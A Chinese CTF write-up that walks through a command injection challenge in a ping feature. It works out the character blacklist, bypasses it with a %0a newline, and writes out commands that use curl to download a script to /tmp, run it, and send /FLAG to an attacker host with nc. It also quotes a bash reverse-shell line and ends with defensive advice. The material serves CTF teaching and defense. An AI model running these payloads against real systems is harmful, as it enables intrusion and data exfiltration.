CTFer成长之路之命令执行漏洞
字数 1134 2025-08-24 10:10:13
命令执行漏洞实战教学:CTF死亡ping命令绕过
漏洞背景
命令执行漏洞是Web安全中常见的高危漏洞之一,当应用程序将用户输入直接传递给系统shell执行时,如果未对用户输入进行充分过滤,攻击者就可能通过精心构造的输入执行任意系统命令。
本教学文档基于"CTFer成长之路之命令执行漏洞"中的"死亡ping命令"CTF题目,详细讲解命令执行漏洞的发现、利用和绕过技术。
题目环境
环境描述
题目模拟了一个路由器管理台常见的网络ping测试功能,开发者实现了部分安全防护措施,但存在可绕过的命令执行漏洞。
环境搭建
使用docker-compose快速搭建环境:
version: "3.2"
services:
converter:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-command:latest
ports:
- 80:80
启动命令:
docker-compose up -d
漏洞发现与分析
初步测试
-
尝试常规ping命令输入:
127.0.0.1- 正常响应,说明功能可用
-
尝试注入命令分隔符:
127.0.0.1; ls- 返回"IP包含恶意字符",说明存在黑名单过滤
黑名单分析
通过fuzz测试发现以下字符被过滤:
- 空格
- 分号
; - 与符号
& - 管道符
| - 反引号
` - 美元符号
$ - 小于号
< - 大于号
>
绕过技术发现
测试发现可以使用%0a(URL编码的换行符)绕过过滤:
127.0.0.1%0als成功执行ls命令- 原理:
%0a在shell中被解释为新行,可以开始新的命令
漏洞利用实战
利用限制
环境限制:
- 没有bash、python等高级解释器
- 无法直接使用sh反弹shell:
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
分步利用方案
第一步:准备攻击脚本
在攻击机(192.168.10.3)上创建1.sh文件,内容为:
ls
cat /FLAG | nc 192.168.10.3 8080
第二步:下载攻击脚本到目标
使用curl下载脚本到目标机的/tmp目录:
127.0.0.1%0acurl 192.168.10.3/1.sh > /tmp/1.sh
第三步:赋予执行权限
127.0.0.1%0achmod 777 /tmp/1.sh
第四步:执行攻击脚本
127.0.0.1%0ash /tmp/1.sh
第五步:攻击机监听获取flag
在攻击机上监听8080端口:
nc -l 8080
执行后将收到目标机发送的flag内容:
n1book{6fa82809179d7f19c67259aa285a7729}
防御方案
输入验证
-
严格限制输入格式,只允许IP地址格式:
- 使用正则表达式验证:
^(\d{1,3}\.){3}\d{1,3}$
- 使用正则表达式验证:
-
拒绝任何包含特殊字符的输入
安全编程实践
-
使用安全的API代替命令执行:
- 如Python的
subprocess.run()withshell=False
- 如Python的
-
最小权限原则:
- 以低权限用户运行Web服务
-
白名单替代黑名单:
- 只允许已知安全的字符
其他防护措施
- 实施Web应用防火墙(WAF)规则
- 定期安全审计和渗透测试
- 保持系统和组件更新
总结
本案例展示了命令执行漏洞的典型利用过程,重点包括:
- 黑名单绕过技术(
%0a换行符注入) - 受限环境下的利用方法(外部脚本下载执行)
- 分步骤的漏洞利用流程
通过此案例,安全研究人员可以深入理解命令执行漏洞的原理和利用技巧,同时学习如何有效防御此类漏洞。